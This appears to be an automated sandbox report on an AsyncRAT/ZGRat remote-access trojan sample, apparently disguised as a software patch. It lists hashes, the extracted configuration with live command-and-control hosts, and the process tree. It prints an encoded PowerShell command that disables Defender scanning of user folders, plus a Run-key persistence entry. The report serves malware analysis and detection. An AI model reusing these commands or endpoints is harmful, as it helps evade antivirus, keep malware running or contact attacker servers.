asyncrat | 59e4212b84a36744e19bf788f29ad35fec361b80bc92468f9b658346cf1532a6

Analysis

max time kernel
140s
max time network
149s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14-05-2024 11:37

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General

Target

369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
Size

2.3MB
MD5

a717a432c558f56c46709d6d3ec9837f
SHA1

ceda052be2519383085089a41c422ce2b1400a46
SHA256

369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186
SHA512

e859810a198b8b946581ed6197b1154856e736687dd593d383dc952a3afd597ed6b5a631a8e6b2228a425b809b772457e6e10e0ca6f68cd8f0a8cc637a81132c
SSDEEP

49152:T+GJaXbo4IKA2WN4M63n4dHzCJYU6Mm4/4w2RAObR8XlZrzyiko:TboxWN4UHzCJYCmX5w1ZXyik

Score

10^/10

asyncrat zgrat default execution persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

5512.sytes.net:6606

5512.sytes.net:7707

5512.sytes.net:8808

95.211.208.153:6606

95.211.208.153:7707

95.211.208.153:8808

Mutex

Llg9a02PERRO

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/1704-19-0x0000000004BC0000-0x0000000004DE0000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-20-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-21-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-23-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-25-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-27-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-33-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-35-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-31-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-29-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-37-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-39-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-41-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-47-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-53-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-61-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-71-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-73-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-76-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-84-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-67-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-81-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-79-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-77-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-69-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-65-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-63-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-59-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-57-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-55-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-51-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-49-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-45-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1
behavioral1/memory/1704-43-0x0000000004BC0000-0x0000000004DDA000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 2 IoCs

pid	Process
1704	Dfzxuwcml.exe
2640	hd.sentinel.pro.4.x-5.x-patch.exe

Loads dropped DLL 2 IoCs

pid	Process
1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kpteiazy = "C:\\Users\\Admin\\AppData\\Roaming\\Kpteiazy.exe"	Dfzxuwcml.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1704 set thread context of 2568	1704	Dfzxuwcml.exe	33

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2440	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2440	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	1704	Dfzxuwcml.exe
Token: SeDebugPrivilege	1704	Dfzxuwcml.exe
Token: SeDebugPrivilege	2568	AppLaunch.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 2440	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	28
PID 1264 wrote to memory of 2440	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	28
PID 1264 wrote to memory of 2440	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	28
PID 1264 wrote to memory of 2440	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	28
PID 1264 wrote to memory of 1704	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	30
PID 1264 wrote to memory of 1704	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	30
PID 1264 wrote to memory of 1704	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	30
PID 1264 wrote to memory of 1704	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	30
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1264 wrote to memory of 2640	1264	369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe	31
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33
PID 1704 wrote to memory of 2568	1704	Dfzxuwcml.exe	33

C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
"C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAawBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZwB4ACMAPgA="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Users\Admin\AppData\Local\Dfzxuwcml.exe
  "C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe
  "C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"
  2⤵
  - Executes dropped EXE
  PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4FB8.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar63B8.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
\Users\Admin\AppData\Local\Dfzxuwcml.exe

Filesize
2.2MB

MD5
577b8f4cd65df6e3cd42d7d37c7917cf

SHA1
5033814e5aade04682bf7cb7fca3e32c46c5512a

SHA256
d4360ef0464f7620fe0e3d5185adcdc0781aacfe23510d2c6c2e85c1095c8948

SHA512
a42dab76abe41e53d7eee1ff3cec3092b26e1a05bdd6c91e8f12e35f6f14fc36df5ef918d0a2818d9f549db1e8ace169ff8ed3f441253a9a27b89c1ec816ff9d

Download Submit
\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe

Filesize
85KB

MD5
57824abbb9afe394c8a17a410e60c6fd

SHA1
cdb3fe63c22e7d93d4a47bdb966b09f1b478f19f

SHA256
becb4e1eaa4fbd915241f1138e2ed7b9833dc1cf66d6da25f9fac1a3e317c3ee

SHA512
8b4e82437d6a30e73b65d0abc41b68d8420454622efd43d8d874ecee7a9251f36555d4c35dd13f886250948df1b9606ee61d0bcb2c8abb748b316dadff539c3d

Download Submit
memory/1704-73-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-49-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-23-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-25-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-27-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-33-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-35-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-31-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-29-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-37-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-39-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-41-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-47-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-4901-0x0000000000D30000-0x0000000000D7C000-memory.dmp

Filesize
304KB

Download
memory/1704-61-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-71-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-20-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-76-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-19-0x0000000004BC0000-0x0000000004DE0000-memory.dmp

Filesize
2.1MB

Download
memory/1704-21-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-53-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-4900-0x0000000000CD0000-0x0000000000D2C000-memory.dmp

Filesize
368KB

Download
memory/1704-81-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-79-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-77-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-69-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-65-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-63-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-59-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-57-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-55-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-51-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-4902-0x0000000000F20000-0x0000000000F74000-memory.dmp

Filesize
336KB

Download
memory/1704-67-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-45-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-43-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/1704-18-0x0000000001030000-0x0000000001262000-memory.dmp

Filesize
2.2MB

Download
memory/1704-84-0x0000000004BC0000-0x0000000004DDA000-memory.dmp

Filesize
2.1MB

Download
memory/2568-4916-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download